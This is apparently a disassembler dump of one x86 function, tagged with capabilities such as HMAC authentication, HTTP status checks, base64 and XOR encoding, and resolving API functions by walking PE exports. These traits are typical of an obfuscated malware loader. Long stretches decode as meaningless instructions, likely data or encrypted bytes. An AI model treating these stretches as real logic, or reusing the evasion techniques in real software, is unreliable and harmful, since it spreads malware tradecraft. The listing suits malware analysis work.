Function at 0x6829106f
Capabilities:
Authenticate hmac
Check http status code
Encode data using base64
Encode data using xor
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x284
cmp dword [ebp + 8], 0
je 0x68291089
cmp dword [ebp + 0xc], 0
jne 0x68295b0d
mov dword [ebp - 0x270], 0x45048
mov dword [ebp - 0x26c], 0
mov dword [ebp - 0x278], 0x14c6f
mov dword [ebp - 0x274], 0
mov eax, dword [ebp - 0x26c]
imul eax, dword [ebp - 0x278]
mov edx, eax
mov eax, dword [ebp - 0x274]
imul eax, dword [ebp - 0x270]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0x270]
mul dword [ebp - 0x278]
add ecx, edx
mov edx, ecx
mov dword [ebp - 0x280], eax
mov dword [ebp - 0x27c], edx
mov dword [ebp - 0x280], eax
mov dword [ebp - 0x27c], edx
mov eax, dword [ebp - 0x280]
xor eax, 0x99fc2f38
mov edx, dword [ebp - 0x27c]
xor edx, 5
or eax, edx
je 0x68295aff
mov edx, 0x99fc2f38
mov eax, 5
cmp edx, dword [ebp - 0x280]
sbb eax, dword [ebp - 0x27c]
jl 0x68295b02
mov eax, dword [ebp - 0x280]
xor eax, 0xe8a42
or eax, dword [ebp - 0x27c]
je 0x68291262
mov edx, 0xe8a42
mov eax, 0
cmp edx, dword [ebp - 0x280]
sbb eax, dword [ebp - 0x27c]
jl 0x68295b02
mov eax, dword [ebp - 0x280]
xor eax, 0xcf523
or eax, dword [ebp - 0x27c]
je 0x68291cc2
mov edx, 0xcf523
mov eax, 0
cmp edx, dword [ebp - 0x280]
sbb eax, dword [ebp - 0x27c]
jl 0x68295b02
mov eax, dword [ebp - 0x280]
xor eax, 0x88cc0
or eax, dword [ebp - 0x27c]
je 0x68293182
mov edx, 0x88cc0
mov eax, 0
cmp edx, dword [ebp - 0x280]
sbb eax, dword [ebp - 0x27c]
jl 0x68295b02
mov eax, dword [ebp - 0x280]
xor eax, 0x7275c
or eax, dword [ebp - 0x27c]
je 0x682950a2
mov edx, 0x7275c
mov eax, 0
cmp edx, dword [ebp - 0x280]
sbb eax, dword [ebp - 0x27c]
jl 0x68295b02
mov eax, dword [ebp - 0x280]
xor eax, 0x5352c
or eax, dword [ebp - 0x27c]
je 0x68294642
mov edx, 0x5352c
mov eax, 0
cmp edx, dword [ebp - 0x280]
sbb eax, dword [ebp - 0x27c]
jl 0x68295b02
mov eax, dword [ebp - 0x280]
xor eax, 0x3df4b
or eax, dword [ebp - 0x27c]
je 0x68293be2
mov eax, dword [ebp - 0x280]
xor eax, 0x470b5
or eax, dword [ebp - 0x27c]
je 0x68292722
jo 0x68291254
add byte [ebx], cl
test dword [ebp + edi*8 - 0x7bf00001], eax
lds edx, [eax + eax]
add cl, ch
std
invalid
add byte [eax], al
jmp 0x68295b02
mov al, byte [0xe1000048]
ljmp 0x9c64
loope 0x6829124e
mov edx, esp
inc esi
mov ah, 0x64
pushfd
or edx, ecx
outsd dx, dword [esi]
push cs
mov dl, 0x65
mov al, byte [0xcae1221]
dec esp
ror bl, 1
adc byte [esi - 0x21], 0x42
ja 0x6829125b
mov edi, 0xbc6cd098
mov edx, 0x1a11e128
mov esp, esi
mov dh, 0x1e
adc byte [ebx], bh
jle 0x6829125e
or byte [ebp - 0x60], 0x82
xchg esp, edx
mov ss, word [ebp - 0x65]
mov bl, 0xfd
push ss
mov al, 0xa0
push ecx
in eax, 0x6a
xchg ebp, eax
push esi
push ss
cmp dword [edi + esi*2 + 0x243db341], eax
hlt
push 0xa95649d9
inc edi
xor al, 0x58
push eax
mov dl, 0x47
xchg esi, eax
test al, 0xad
test ecx, ebx
std
ret 0x72f4
mov edi, dword [edi + 0x37742cfe]
sub byte [esi], al
jae 0x68291d1f
dec ebx
dec edi
push eax
aaa
xor al, 0x27
dec edi
xor al, byte [ecx - 0x40186d72]
aam 0xe1
add dword [ebx - 0x17], ebp
cmp byte [edx + 0x62861e51], bl
sbb dword [ecx + 0x3ecc0703], ebx
cld
lodsb al, byte [esi]
scasb al, byte es:[edi]
sar byte [esi - 0x5935adc0], 0x85
xchg dword [edx - 0x34], edx
jnp 0x68291c81
dec esp
mov al, byte [0x2b1feb86]
inc ecx
nop
push esi
lds esp, [ebx + 2]
or al, 0xa2
mov esp, 0x35997a11
retf 0x4c63
xchg ebp, eax
sbb bl, al
pushal
and ch, bh
adc dword [edi], 7
ljmp 0xe7e
les edi, [eax + 0x50712080]
sub eax, dword [edi]
pop ss
and ebp, dword [esp + eax*8]
test eax, 0xafc08c8
mov dl, 0x83
mov ss, word [ecx + 0x5ca6fb94]
add eax, 0xca412825
je 0x682926b6
pop es
outsd dx, dword [esi]
shl dword [esi], 0x98
sub dword [edi], esp
jb 0x6829272e
sub byte [edx - 0x2a], dl
hlt
mov edx, 0xa2067b01
mov ebx, 0xa31e2cdf
jmp 0x6829272e
sbb al, 0x77
je 0x682926b0
sahf
int3
fdivr st(0), st(0)
dec edi
jmp 0x682926f0
inc ecx
jno 0x68292737
fsubr dword [ecx - 0x1c]
or dword [eax - 0x172a66bb], edi
cdq
aad 0xe8
les edx, [edi + ebx*4 + 0xabd19d7]
shl byte [ecx - 0x54c8cc76], 0x5e
push esp
lcall 0xa957, 0x48f4cf7e
jmp 0x68292703
pop ebx
jge 0x682931da
sbb eax, 0x11f29f93
mov cl, 0xc
test al, 0x5c
cmp eax, 0x53d35a0
cmp byte [eax - 0x50], dl
dec edi
retf 0xd9fc
mov al, byte [0x5bb728d1]
inc esp
and dword [ebx - 0x79], eax
xor edx, dword [edx + 0x2b154fd9]
test al, 0xe9
dec ecx
and al, byte [edx]
xor byte [edx + 0x7173e1aa], ah
not byte ss:[esi - 0x67]
cmp byte [esi + esi*4 + 0x4a], ah
sbb byte [ebp - 0x67], ch
cmp al, 0x7c
sbb bl, dh
jg 0x68293247
ret
invalid
popfd
push eax
xor al, 0x8e
leave
or eax, 0x7fbd4f61
retf 0xdd27
sbb edi, dword [ebx]
adc al, 0xd6
arpl ax, bp
adc dword [0x3c5e6b61], esi
mov esi, 0x5f8c387f
inc esp
inc ecx
push cs
pop ebp
dec ecx
nop
jle 0x68293b9c
add ch, byte [ebx - 0x2628761d]
fcmovnu st(0), st(4)
mov edi, es
push cs
jae 0x68293c1d
fst qword [edi - 0x1e]
mov al, pe_nt_image_headers32
hlt
xchg edi, eax
cld
pop esi
invalid
cmp byte [esi - 0x57], dl
add dword [edi - 0x1488d29a], 0x8de3931a
add dword [ebp + 0x73215b9c], 0xffffffd9
pshufw mm0, qword [esi + 0x4f], 0x16
cmp al, 0x75
dec esp
push ecx
rol dword [ebp + 0x7f], 1
mov ah, 0x4e
add byte [ebx], dl
hlt
movsb byte es:[edi], byte [esi]
dec esp
std
call 0x1d103d2d
xchg dh, dl
and byte [edx - 0x3d0edbcc], ch
int1
add edx, dword [ebx]
and ebx, dword [ecx - 0x5101a47]
sub byte [eax], cl
xchg edi, eax
mov dh, 0xf4
ljmp 0x2103
nop
jmp 0x68295b03
nop
mov eax, 0
jmp 0x68359316
mov dword [ebp - 0x18], 0x116f2
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x20], 0xa3125
mov dword [ebp - 0x1c], 0
mov eax, dword [ebp - 0x20]
mov edx, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x18]
sbb edx, dword [ebp - 0x14]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x28]
xor eax, 0x91a33
or eax, dword [ebp - 0x24]
nop
mov eax, dword [ebp + 0xc]
movzx eax, word [eax]
mov word [ebp - 0x2a], ax
cmp word [ebp - 0x2a], 0
je 0x68340b03
mov dword [ebp - 0x38], 0x90691
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x40], 0xd9e87
mov dword [ebp - 0x3c], 0
mov ecx, dword [ebp - 0x38]
mov ebx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x40]
mov edx, dword [ebp - 0x3c]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], edx
mov eax, dword [ebp - 0x48]
xor eax, 0x16a518
or eax, dword [ebp - 0x44]
je 0x6829902e
mov edx, 0x16a518
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x68299031
mov eax, dword [ebp - 0x48]
xor eax, 0xc1050
or eax, dword [ebp - 0x44]
je 0x68295c51
mov edx, 0xc1050
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x68299031
mov eax, dword [ebp - 0x48]
xor eax, 0xb5732
or eax, dword [ebp - 0x44]
je 0x682966b1
mov edx, 0xb5732
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x68299031
mov eax, dword [ebp - 0x48]
xor eax, 0xada93
or eax, dword [ebp - 0x44]
je 0x68297b71
mov edx, 0xada93
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x68299031
mov eax, dword [ebp - 0x48]
xor eax, 0x4dac3
or eax, dword [ebp - 0x44]
je 0x68297111
mov eax, dword [ebp - 0x48]
xor eax, 0x83154
or eax, dword [ebp - 0x44]
je 0x682985d1
jmp 0x68299031
pop edi
mov cl, dh
sub eax, 0xb100e059
sbb dword [edi - 0x78], edi
or ch, byte [eax + 0xccb2e5d]
clc
or al, 0xf8
add al, 0x33
cmpsd dword [esi], dword es:[edi]
sbb al, 0xb3
mov ebx, 0x6ec1e68e
dec ebp
sal dword [esp + ecx*4], cl
jle 0x68295c61
sub dh, cl
cmp bl, byte [esi + 0x2a]
mov bh, 0x21
outsd dx, dword [esi]
dec edx
retf
inc esp
sub dword [eax], eax
push ss
add bh, byte [edx - 0x6e]
test eax, 0x224d01f7
jns 0x682966a3
invalid
salc
pushfd
mov cl, 0xea
adc dword [edx - 0x16336f87], edi
sub dword [ecx], 0xdabb0000
xchg esi, eax
aad 0xcc
mov ebx, 0xccd596da
sbb al, 0x6a
jp 0x68296666
dec ebp
cwde
cdq
xor dword [eax + esi*4], esi
loopne 0x682966fc
in al, 0xe5
hlt
mov dh, 0xa0
ret
insd dword es:[edi], dx
sti
push ds
rcr dword [ebp + 0x7030336f], 0x6d
insd dword es:[edi], dx
sub dword es:[ebx], esi
jecxz 0x68297127
fdivr st(4)
push esi
or dh, byte [ecx + 0x77]
invalid
jle 0x68297bd4
pushfd
mov dl, 0x41
inc ecx
mov dword [0xcc903ff1], eax
jmp 0x68299032
add al, 0xe2
jns 0x68297b62
jl 0x68297bbc
fnstenv [ecx - 0xa]
mov edx, edi
test cl, bh
aam 0x8c
xchg dword [eax - 0x3abd9aed], esp
xchg ebp, eax
arpl word [ebx - 0x45], di
insd dword es:[edi], dx
fild dword [ebp - 0x626523fa]
pop ds
cli
mov eax, 0x6e4a7780
add dword [edx], ecx
add dword [ecx - 0x43], edi
popfd
sal edx, 0xd
jae 0x68297b66
stc
or al, byte [esi - 0x64]
xchg edi, eax
salc
int3
inc esp
adc eax, 0x29607a5c
invalid
push eax
adc esi, esp
cmp byte [edi + edi + 0x5d7ae430], bl
mov ch, 0xb1
neg edi
pop ss
out 0x49, al
mov al, byte [0x9188c080]
out dx, al
sbb byte [edx + 0x78], ch
stosb byte es:[edi], al
mov cl, byte [edi - 0x5e1290ae]
cli
movsd dword es:[edi], dword [esi]
fist word gs:[ebp + ebp*2 + 0x42]
dec esi
sub byte [ebp - 0x107cd9ac], dl
lahf
iretd
inc ebx
sub dl, byte [eax + 0xa61e9cc]
add byte [eax], al
imul edi, dword [edx - 0x7a], 0x896f9e10
dec edi
add bl, byte [ebp + 0x5e4e2fca]
cli
sbb al, 0x17
jnp 0x682985c8
inc edx
shl byte [ebx - 0x3add1702], cl
outsd dx, dword [esi]
add cl, al
mov dword [edi - 0xdf37bbd], 0x71bc104f
out 5, al
sub byte [edx - 0x12664ffc], dh
insb byte es:[edi], dx
xor ch, byte [ebp + edx*8 + 0x39]
xchg ecx, eax
sub ah, dl
inc ebx
stosb byte es:[edi], al
pop eax
daa
lcall 0x2bb6, 0xddd672dc
inc ebp
out dx, al
clc
pop ds
and al, 0x68
cdq
and al, 0x4f
cmp eax, 0x685f8307
invalid
nop
jmp 0x68299032
nop
sub dword [ebp + 8], 2
add dword [ebp + 8], 2
mov eax, dword [ebp + 8]
movzx eax, word [eax]
mov word [ebp - 0x4a], ax
cmp word [ebp - 0x4a], 0
jne 0x682a8401
mov dword [ebp - 0x228], 0x834fd
mov dword [ebp - 0x224], 0
mov dword [ebp - 0x230], 0x64048
mov dword [ebp - 0x22c], 0
mov eax, dword [ebp - 0x224]
imul eax, dword [ebp - 0x230]
mov edx, eax
mov eax, dword [ebp - 0x22c]
imul eax, dword [ebp - 0x228]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0x228]
mul dword [ebp - 0x230]
add ecx, edx
mov edx, ecx
mov dword [ebp - 0x238], eax
mov dword [ebp - 0x234], edx
mov dword [ebp - 0x238], eax
mov dword [ebp - 0x234], edx
mov eax, dword [ebp - 0x238]
xor eax, 0x4d7c2728
mov edx, dword [ebp - 0x234]
xor edx, 0x33
or eax, edx
je 0x682a83f5
mov edx, 0x4d7c2728
mov eax, 0x33
cmp edx, dword [ebp - 0x238]
sbb eax, dword [ebp - 0x234]
jl 0x682a83fb
mov eax, dword [ebp - 0x238]
xor eax, 0xe9c01
or eax, dword [ebp - 0x234]
je 0x68299fb8
mov edx, 0xe9c01
mov eax, 0
cmp edx, dword [ebp - 0x238]
sbb eax, dword [ebp - 0x234]
jl 0x682a83fb
mov eax, dword [ebp - 0x238]
xor eax, 0xe5532
or eax, dword [ebp - 0x234]
je 0x68299558
mov edx, 0xe5532
mov eax, 0
cmp edx, dword [ebp - 0x238]
sbb eax, dword [ebp - 0x234]
jl 0x682a83fb
mov eax, dword [ebp - 0x238]
xor eax, 0xe166f
or eax, dword [ebp - 0x234]
je 0x682a64d8
mov edx, 0xe166f
mov eax, 0
cmp edx, dword [ebp - 0x238]
sbb eax, dword [ebp - 0x234]
jl 0x682a83fb
mov eax, dword [ebp - 0x238]
xor eax, 0xd1e37
or eax, dword [ebp - 0x234]
je 0x6829c938
mov edx, 0xd1e37
mov eax, 0
cmp edx, dword [ebp - 0x238]
sbb eax, dword [ebp - 0x234]
jl 0x682a83fb
mov eax, dword [ebp - 0x238]
xor eax, 0xd1c93
or eax, dword [ebp - 0x234]
je 0x682a45b8
mov edx, 0xd1c93
mov eax, 0
cmp edx, dword [ebp - 0x238]
sbb eax, dword [ebp - 0x234]
jl 0x682a83fb
mov eax, dword [ebp - 0x238]
xor eax, 0xcf02b
or eax, dword [ebp - 0x234]
je 0x6829e858
mov edx, 0xcf02b
mov eax, 0
cmp edx, dword [ebp - 0x238]
sbb eax, dword [ebp - 0x234]
jl 0x682a83fb
mov eax, dword [ebp - 0x238]
xor eax, 0xb36db
or eax, dword [ebp - 0x234]
je 0x682a2698
mov edx, 0xb36db
mov eax, 0
cmp edx, dword [ebp - 0x238]
sbb eax, dword [ebp - 0x234]
jl 0x682a83fb
mov eax, dword [ebp - 0x238]
xor eax, 0xa9959
or eax, dword [ebp - 0x234]
je 0x6829b478
mov edx, 0xa9959
mov eax, 0
cmp edx, dword [ebp - 0x238]
sbb eax, dword [ebp - 0x234]
jl 0x682a83fb
mov eax, dword [ebp - 0x238]
xor eax, 0xa7a3b
or eax, dword [ebp - 0x234]
je 0x682a3b58
mov edx, 0xa7a3b
mov eax, 0
cmp edx, dword [ebp - 0x238]
sbb eax, dword [ebp - 0x234]
jl 0x682a83fb
mov eax, dword [ebp - 0x238]
xor eax, 0xa092d
or eax, dword [ebp - 0x234]
je 0x6829d398
mov edx, 0xa092d
mov eax, 0
cmp edx, dword [ebp - 0x238]
sbb eax, dword [ebp - 0x234]
jl 0x682a83fb
mov eax, dword [ebp - 0x238]
xor eax, 0x7a516
or eax, dword [ebp - 0x234]
je 0x6829bed8
mov edx, 0x7a516
mov eax, 0
cmp edx, dword [ebp - 0x238]
sbb eax, dword [ebp - 0x234]
jl 0x682a83fb
mov eax, dword [ebp - 0x238]
xor eax, 0x74a68
or eax, dword [ebp - 0x234]
je 0x682a5a78
mov edx, 0x74a68
mov eax, 0
cmp edx, dword [ebp - 0x238]
sbb eax, dword [ebp - 0x234]
jl 0x682a83fb
mov eax, dword [ebp - 0x238]
xor eax, 0x565e2
or eax, dword [ebp - 0x234]
je 0x6829f2b8
mov edx, 0x565e2
mov eax, 0
cmp edx, dword [ebp - 0x238]
sbb eax, dword [ebp - 0x234]
jl 0x682a83fb
mov eax, dword [ebp - 0x238]
xor eax, 0x4f29f
or eax, dword [ebp - 0x234]
je 0x6829aa18
mov edx, 0x4f29f
mov eax, 0
cmp edx, dword [ebp - 0x238]
sbb eax, dword [ebp - 0x234]
jl 0x682a83fb
mov eax, dword [ebp - 0x238]
xor eax, 0x4b056
or eax, dword [ebp - 0x234]
je 0x6829fd18
mov edx, 0x4b056
mov eax, 0
cmp edx, dword [ebp - 0x238]
sbb eax, dword [ebp - 0x234]
jl 0x682a83fb
mov eax, dword [ebp - 0x238]
xor eax, 0x47f6a
or eax, dword [ebp - 0x234]
je 0x682a6f38
mov edx, 0x47f6a
mov eax, 0
cmp edx, dword [ebp - 0x238]
sbb eax, dword [ebp - 0x234]
jl 0x682a83fb
mov eax, dword [ebp - 0x238]
xor eax, 0x3f7f1
or eax, dword [ebp - 0x234]
je 0x682a11d8
mov edx, 0x3f7f1
mov eax, 0
cmp edx, dword [ebp - 0x238]
sbb eax, dword [ebp - 0x234]
jl 0x682a83fb
mov eax, dword [ebp - 0x238]
xor eax, 0x3dd0b
or eax, dword [ebp - 0x234]
je 0x6829ddf8
mov edx, 0x3dd0b
mov eax, 0
cmp edx, dword [ebp - 0x238]
sbb eax, dword [ebp - 0x234]
jl 0x682a83fb
mov eax, dword [ebp - 0x238]
xor eax, 0x311bd
or eax, dword [ebp - 0x234]
je 0x682a0778
mov edx, 0x311bd
mov eax, 0
cmp edx, dword [ebp - 0x238]
sbb eax, dword [ebp - 0x234]
jl 0x682a83fb
mov eax, dword [ebp - 0x238]
xor eax, 0x247a7
or eax, dword [ebp - 0x234]
je 0x682a1c38
mov edx, 0x247a7
mov eax, 0
cmp edx, dword [ebp - 0x238]
sbb eax, dword [ebp - 0x234]
jl 0x682a83fb
mov eax, dword [ebp - 0x238]
xor eax, 0x22ee6
or eax, dword [ebp - 0x234]
je 0x682a5018
mov edx, 0x22ee6
mov eax, 0
cmp edx, dword [ebp - 0x238]
sbb eax, dword [ebp - 0x234]
jl 0x682a83fb
mov eax, dword [ebp - 0x238]
xor eax, 0x10b
or eax, dword [ebp - 0x234]
je 0x682a7998
mov eax, dword [ebp - 0x238]
xor eax, 0x21da8
or eax, dword [ebp - 0x234]
je 0x682a30f8
jmp 0x682a83fb
add byte [eax], al
mov esp, 0x17646089
jb 0x6829952b
mov eax, gs
and cl, byte [edi + 0x1d]
jb 0x68299519
pop eax
aaa
mov edi, 0xbe179807
cmp al, 0x90
mov ebx, 0xc66634e2
mov byte [esi - 0x14d3136b], ch
dec edi
lcall 0xa24e, 0x379939ba
test ebx, esp
and edx, dword [0x82f65cb0]
fsubr st(4)
loopne 0x6829956b
cwde
pop ss
mov esi, 0xe2bb903c
xor al, 0x66
invalid
lds esp, ds:[esi + esi*2 - 0x48a19068]
test eax, 0x58066bc5
into
add dword [esi - 0x33], 0xffffffc1
salc
inc esi
jg 0x68299623
insb byte es:[edi], dx
push cs
js 0x68299556
je 0xc8ee2ed2
and al, 0x86
invalid
cmp esp, dword [edi + 0x26]
pop ecx
dec esi
wait
sahf
mov al, byte [0x1cc12aac]
hlt
in al, 0xa0
in eax, 0xa5
in al, dx
sub eax, 0xa9ec3017
mov esp, 0x1be79d8d
aas
adc byte [esi], al
push ebx
sub byte [eax + 0x61], bh
inc esi
mov byte [edi - 0xb], ch
adc al, byte [edi*8 - 0x2fbb83c9]
sahf
or ebp, dword [eax]
leave
salc
invalid
xor eax, 0x2dd19abd
add ah, dh
push esp
pop eax
push cs
test dword [edx - 0xb41a085], esp
or edx, ebx
test dword [edi + esi + 0xcc7dd19], edi
xchg edx, eax
jb 0x68299f60
fiadd dword [ebp - 0x22e6c844]
invalid
mov esp, 0xb980a38b
mov ebp, 0x6e1f4ec6
dec ecx
mov word [ecx + edi*8 - 0x1f], gs
movsb byte es:[edi], byte [esi]
cli
and esi, edx
jae 0x68299fb7
jne 0x68299f17
mov edi, dword [edx]
jnp 0x68299fbb
pop ss
lodsd eax, dword [esi]
pop eax
add ch, dl
sbb al, 6
lodsb al, byte [esi]
imul ebp, dword [edi - 0x52a0a32e], 0xc76da2bd
test byte [ebp + 0x15], al
inc edx
into
into
retf 0x767e
jmp 0x682a83fc
add byte [edi - 0x6b], dh
ja 0x68299f4f
push 0x1c2d63c1
shl dword [ebx + 0x2d], 0x1c
mov bh, 0x9f
int1
inc esp
nop
fmul qword [edx]
fisttp dword [ebx + ebp*4 - 0x32]
or bl, bl
dec esp
stosd dword es:[edi], eax
into
cwde
popfd
and ebx, dword [ebx + 0x5c]
xchg edi, eax
inc eax
dec ebx
jecxz 0x68299fb3
jo 0x68299fc5
or ch, 0xcd
int 0x1a
out 0xdf, al
shl byte [ecx], 0xf3
sub ch, cl
cmc
aad 0x8f
wait
loope 0x6829a009
pop edi
pushfd
sbb al, 0x96
mov dl, 0x7b
jmp 0x68299f8c
pop ecx
jmp 0x68299fd1
mov bh, 0x63
lea edx, [ebx + edx*8 + 0xc8ee7f4]
xchg ebx, eax
nop
or ebp, dword [esi]
add eax, 0xf9dc42db
dec edi
cmp eax, 0xbd7d02f2
sub ah, bl
pop ebp
invalid
imul edi, dword [bx + si], 0xe9cc90cb
test bh, cl
add byte [eax], al
cli
xor ah, byte gs:[esi - 0x7676c3e8]
stc
imul byte [ebp - 0x18]
js 0x6829b46d
push es
imul byte [edx]
jg 0x6829b4a7
ljmp 0x7378:0x984761c
sbb esp, eax
xchg ebx, eax
sub dword [esi + 0x6d60887c], 0x31
invalid
cmp dword [ebx + 0x1d], ebx
xor ch, bh
xchg esi, eax
ror dword [ebx - 0x46], 0x32
push edx
sbb bh, byte [0x8c3e4c7b]
mov byte [eax], dl
fidiv word [edi - 0x2b0d9421]
imul esp, dword [edi - 0x38], 0x5b
shl al, cl
xor ebx, 0xc8aaea08
cmp ecx, dword [edi - 0x40]
stosb byte es:[edi], al
mov dword [0x6826c88], eax
xor byte [ebx + 0xca5e9a2], dh
invalid
les esi, [ecx + ebx]
and al, bh
ja 0x6829c934
cmpsd dword [esi], dword es:[edi]
push ebx
and al, 0x54
fld xword [edi]
das
jae 0x6829c95c
stosb byte es:[edi], al
nop
int3
les edi, [edx + 0x1c660000]
loopne 0x6829c9b6
sbb al, 0xe0
jp 0x6829c988
dec ebx
sub dword [ecx], 0xffffffda
test eax, 0x4b291cf8
dec edx
insd dword es:[edi], dx
mov esp, dword [esi + esi*8 + 0x64aefd2b]
inc ebx
cmp ebx, dword [eax + 0x7e355faf]
aam 0xa3
int 0xbd
sal dword [esi], 0x46
jae 0x6829c921
jmp 0x7c3f9c64
cmpsb byte [esi], byte es:[edi]
wait
test eax, 0x7b0d6b51
jge 0x6829c92d
xor dh, cl
aaa
dec eax
ljmp 0xa111
xor eax, 0xd1069944
sti
invalid
xchg esi, eax
stosb byte es:[edi], al
xor dword [esi - 0x6a07f181], esp
sub al, 0x43
cmp eax, 0x98e64c1
or dword [ecx + ebx*4 - 0x5d2df363], ebp
or dword [ecx - 0x27d317e7], 0xa8c5a7ae
cwde
inc edx
mov dword [eax + ebp*8], 0xdca77831
imul ecx, dword es:[ebp + 0x493f21a2], 0x48cdc866
ret
push ecx
wait
push es
ljmp 0x5eb3
xchg dh, cl
mov bl, 0xa7
inc esp
js 0x6829e888
dec edi
jge 0x6829e8e1
jae 0x6829e8bd
mov ebp, 0x9d93babf
push esi
push es
mov esi, 0xded9d310
invalid
rcr byte [ebp - 0x19], cl
imul ebx, eax, 0xc8d5497e
rol ecx, 0x2b
mov bh, 0xc
xchg ebp, eax
xchg esi, eax
sbb al, 0xdf
cmp dword [eax - 0x391c1ed6], esp
pop edx
pop eax
cmpsb byte [esi], byte es:[edi]
or eax, 0xb4463e8b
mov dh, 0xf9
mov dh, 0xcb
stosd dword es:[edi], eax
punpckhbw mm5, qword [edi + ebx*4]
cmp eax, 0x1231f83
jno 0x6829e8f8
push esi
xlatb
call 0xbff1520
pop dx
invalid
pop edi
sub al, 0xd5
mov dword [0x528f5a66], eax
fnstenv [ecx + 0x2a]
mov dh, 0x79
popfd
and dword [ebx], edi
xor dh, cl
sbb eax, 0x94ad6d9e
invalid
or byte [0xfe640662], 0xb1
xlatb
aad 0x8e
idiv dword [eax - 0x53c7900a]
inc esi
xchg dword [ecx], esp
stosd dword es:[edi], eax
sub bl, byte [edi - 0x4324393f]
or dword [esi + edx*8], esp
dec edi
mov eax, dword [0xa8e3b11b]
xlatb
fcom dword [eax - 0x37]
aam 0x1e
popal
rcl dword [ecx], 0x6a
inc ecx
outsd dx, dword [esi]
lock add ecx, dword [esi]
adc al, 0x88
jne 0x6829e8a2
invalid
ljmp 0xbb67:0x9e65eb6a
sub byte [ecx], al
or al, 0xb0
invalid
cmp esi, dword [edx - 0x25]
hlt
inc ebx
mov byte [0x71fe7336], al
out dx, eax
xchg byte [eax - 0x24], dl
pop ds
je 0x6829fcb2
cld
mov byte gs:[0x17c860aa], al
stosd dword es:[edi], eax
mov edx, 0x45321246
pop edi
or al, 0x1d
mov ebp, dword [ebx - 0x11]
invalid
xor ebx, dword [ecx + edx*2]
push esi
add eax, 0x4d7fa5fb
invalid
dec esp
mov ah, dl
fsub st(6)
ret
jnp 0x682a117b
jg 0x682a124d
or eax, 0x84c23579
adc eax, 0xda251d8f
jmp 0x5b62b68e
jmp 0x25ddae5a
mov bl, 0xbd
sti
insd dword es:[edi], dx
adc eax, edi
inc ebp
invalid
stosd dword es:[edi], eax
popal
add edx, dword [ebx]
xchg byte [ebx - 0x74b70f13], cl
lcall 0xeaa8, 0xc3eae94
xchg ebp, eax
add eax, 0x831b0f80
dec ebp
jne 0x682a12b9
sub al, 0x23
cmp al, ah
test eax, 0xdf181cf4
inc eax
push eax
and eax, 0x2d24f33
out dx, al
jge 0x682a122b
xchg dword [esi + 0x5b], edi
js 0x682a1228
mov dl, 0xd8
inc edi
push 0x94abf6a7
rcl byte [ebx - 2], 0xd4
xor ebx, dword [eax]
int1
sub byte [ecx + esi*4 + 0x23], ch
test al, 0xf7
invalid
cmp bl, byte [ecx + 0x46]
stc
cmc
xchg edx, eax
int 0xa6
clc
push ecx
lodsb al, byte [esi]
fnstenv [esi]
nop
int3
inc esp
out dx, al
les ebp, [ebp + 0x44]
retf
cwde
jecxz 0x682a26b3
add dword [esi - 0x73], ebx
retf
xchg edx, eax
push ebx
cmp al, 0x63
jge 0x682a26cb
mov eax, dword [0x552144a5]
imul ebx, dword [ebx - 0x7e3fa9ea], 0xd178feca
inc edx
or bh, ah
test dh, dh
out 0x26, eax
test dh, dh
xchg ebp, eax
retf
invalid
out dx, eax
out 0x90, al
int3
daa
xor dh, al
dec edi
mov cl, 0x55
xchg ebx, eax
jne 0x682a3b4f
mov al, 0x72
mov byte [0x27b143f4], dl
pop ebx
stosd dword es:[edi], eax
rcr byte [eax], 1
std
out dx, eax
pop ss
push ebp
invalid
iretd
or byte [eax + 0x2bfa8463], dh
stc
mov byte [0xa2657381], al
mov dh, 0x68
je 0x682a457c
int 0x10
mov ebp, 0xcb86f5cf
ljmp 0x95d0
sahf
cmp dh, bl
insb byte es:[edi], dx
xlatb
add al, 0xcc
sub edx, dword [ebp - 0x6aa35b23]
enter 0x18d, 0xfffffffffffffff3
pop eax
xchg ebp, eax
xor eax, 0xa30b9041
imul ecx, dword [0x686c55], 0x6f3d4095
int 0xc3
pop edx
push esp
mov ebp, 0x7744ac19
dec ebx
cmp al, 0x39
mov al, cl
aam 0x75
sub eax, 0x964bc4a0
invalid
or byte [ebx], ch
adc al, 0x8a
add ebp, dword [edi + 0x77cd03]
or al, 0xc8
sub byte [ebx], dl
jmp 0x682a4fd9
adc eax, 0xf6247d3e
mov ebx, 0x7113d6b3
mov ebx, esi
hlt
cmp al, 0xf2
mov eax, 0xa300b00d
cwde
or al, 0xea
frstor dword [edi + ecx*8]
invalid
dec ecx
fadd qword [esp + ecx*8 - 0x15dac665]
outsd dx, dword [esi]
mov ebp, 0x7e60578b
pop ds
rol dword [esi], 0x87
push 0xffffffffffffffe2
xchg ebx, eax
cld
mov ecx, 0x5bd919e8
or al, 0x12
xlatb
jmp 0x682a64b6
or dword [edx + 0x5599df2c], edx
xchg ebx, eax
jns 0x682a6f36
and dword [ebx - 0x61], esp
aad 0xc0
push ss
xchg esi, eax
adc dword [edi - 0x41], edx
lahf
nop
int3
add byte [eax], al
mov byte [eax + 0x640478bb], cl
movsb byte es:[edi], byte [esi]
mov ecx, 0x146cef3e
push es
clc
push edi
xchg ebp, eax
dec ebx
sbb edx, esp
cmp dword ds:[edi - 0x68b6c608], ecx
jo 0x682a6f1d
xor al, 0x66
invalid
pop eax
cmp al, 0xb2
mov ds, word [edx - 0x7c]
mov dl, 0xb5
adc bh, byte [edi + 0x7377d343]
shr dword [ecx], 0xd2
rcl dword [ecx + ebx*8 + 0x70], 0xd8
sbb ebx, dword [ebx - 0x6abe24b3]
mov bl, byte ds:[esi + 0x4b]
iretd
nop
jmp 0x6834c9d7
nop
jmp 0x6834c9d7
mov dword [ebp - 0x58], 0xf2691
mov dword [ebp - 0x54], 0
